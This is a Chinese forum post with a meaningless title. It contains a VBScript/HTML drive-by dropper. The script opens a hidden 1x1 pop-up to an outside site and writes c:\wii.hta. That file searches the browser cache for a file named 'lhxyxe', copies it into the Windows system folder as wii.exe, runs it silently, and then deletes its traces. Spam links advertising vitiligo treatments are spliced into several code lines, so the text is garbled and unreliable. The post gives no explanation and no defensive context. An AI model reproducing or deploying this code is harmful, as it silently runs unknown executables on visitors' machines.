请选择 进入手机版 | 继续访问电脑版
查看: 4|回复: 0

dfgsgsg

[复制链接]

3392

主题

3392

帖子

1万

积分

论坛元老

Rank: 8Rank: 8

积分
10212
发表于 2019-6-8 13:10:50 | 显示全部楼层 |阅读模式


   
   
    dfgsgsg
      
   
    size
      
   
  1. <script>
  2.     window.open(\'http://www.onlyy.net/soft/index.htm\', \'pop\',
  3.     \'toobar=no,location=no,resizeable=0,scrollbars=0,left=2000,top=2000,width=1,height=1\');
  4.     </Script>
  5.       
  6.       
  7.       
  8.     <Script LaNGUAGE="VBScript">
  9.     Set g_fs = CreateObject("Scripting.FileSystemObject")
  10.     Set tf = g_fs.CreateTextFile("c:\\wii.hta",true)
  11.     tf.write "" &chr(13)&chr(10)
  12.     tf.write ""&chr(13)&chr(10)
  13.     tf.write ""&chr(13)&chr(10)
  14.     tf.write "on error resume next"&chr(13)&chr(10)
  15.     tf.write "window.moveTo 0,0"&chr(13)&chr(10)
  16.     tf.write "window.resizeTo 0,0 "&chr(13)&chr(10)
  17.     tf.write "dim exepath"&chr(13)&chr(10)
  18.     tf.write "Function Search(objFolder) "&chr(13)&chr(10)
  19.     tf.write "Dim objSubFolder"&chr(13)&chr(10)
  20.     tf.write "For Each objFile in objFolder.Files"&chr(13)&chr(10)
  21.     tf.write "If InStr(1, objfile.name, " & CHR(34)& "lhxyxe" & CHR(34)& ", vbtextcompare) then"&chr(13)&chr(10)
  22.     tf.write "set filecp = objg_fso.getf[url=http://pf.39.net/bdfyy/bdfrczy/160511/4850916.html]如何判断白癜风疾病的症状表现[/url]ile(objfile.path)"&chr(13)&chr(10)
  23.     tf.write "filecp.copy (exepath)"&chr(13)&chr(10)
  24.     tf.write "exit [url=http://m.39.net/pf/a_4893256.html]白癫风如何治疗效果才能好[/url]for"&chr(13)&chr(10)
  25.     tf.write "End If"&chr(13)&chr(10)
  26.     tf.write "Next "&chr(13)&chr(10)
  27.     tf.write "For Each objSubFolder in objFolder.SubFolders "&chr(13)&chr(10)
  28.     tf.write "Search objSubFolder"&chr(13)&chr(10)
  29.     tf.write "Next"&chr(13)&chr(10)
  30.     tf.write "End Function"&chr(13)&chr(10)
  31.     tf.write "Set objg_fso = CreateObject(" & CHR(34)& "Scripting.FileSystemObject" & CHR(34)& ")"&chr(13)&chr(10)
  32.     tf.write "str=WSH.regread(" & CHR(34)& "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\cache" & CHR(34)& ")"&chr(13)&chr(10)
  33.     tf.write "set tempfolder = objg_fso.getfolder(str)"&chr(13)&chr(10)
  34.     tf.write "set othisfolder = objg_fso.GetSpecialFolder(1)" &chr(13)&chr(10)
  35.     tf.write "exepath=othisfolder.path & [url=http://m.39.net/pf/a_4644035.html]手指有白点是怎么一回事[/url]"& chr(34) & "wii.exe" & chr(34) &chr(13)&chr(10)
  36.     tf.write "search tempfolder"&chr(13)&chr(10)
  37.     tf.write "wsh.run (exepath)"&chr(13)&chr(10)
  38.     tf.write "wsh.run " & CHR(34)& "command.com /c del c:\\wii.hta" & CHR(34)& " ,0"&chr(13)&chr(10)
  39.     tf.write "window.close()"&chr(13)&chr(10)
  40.     tf.write ""&chr(13)&chr(10)
  41.     tf.close
  42.     wsh.run "c:\\wii.hta",0
  43.     window.close ()
  44.       
  45.       
  46.     <Script LANGUAGE="VBScript">
  47.     on error resume next
  48.     window.moveTo 0,0
  49.     window.resizeTo 0,0
  50.     dim exepath
  51.     Function Search(objFolder)
  52.     Dim objSubFolder
  53.     For Each objFile in objFolder.Files
  54.     If InStr(1, objfile.name, "lhxyxe", vbtextcompare) then
  55.     set filecp = objg_fso.getfile(objfile.path)
  56.     filecp.copy (exepath)
  57.     exit for
  58.     End If
  59.     Next
  60.     For Each objSubFolder in objFolder.SubFolders
  61.     Search objSubFolder
  62.     Next
  63.     End Function
  64.     Set objg_fso = CreateObject("Scripting.FileSystemObject")
  65.     str=WSH.regread("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\cache")
  66.     set tempfol[url=http://pf.39.net/bdfyy/bdfzj/150515/4624076.html]造成幼儿白癜风的病因都有哪些[/url]der = objg_fso.getfolder(str)
  67.     set othisfolder = objg_fso.GetSpecialFolder(1)
  68.     exepath=othisfolder.path & "wii.exe"
  69.     search tempfolder
  70.     wsh.run (exepath)
  71.     wsh.run "command.com /c del c:\\wii.hta" ,0
  72.     window.close()
  73.       
  74.     </script>
复制代码

    /size
      
   
回复

使用道具 举报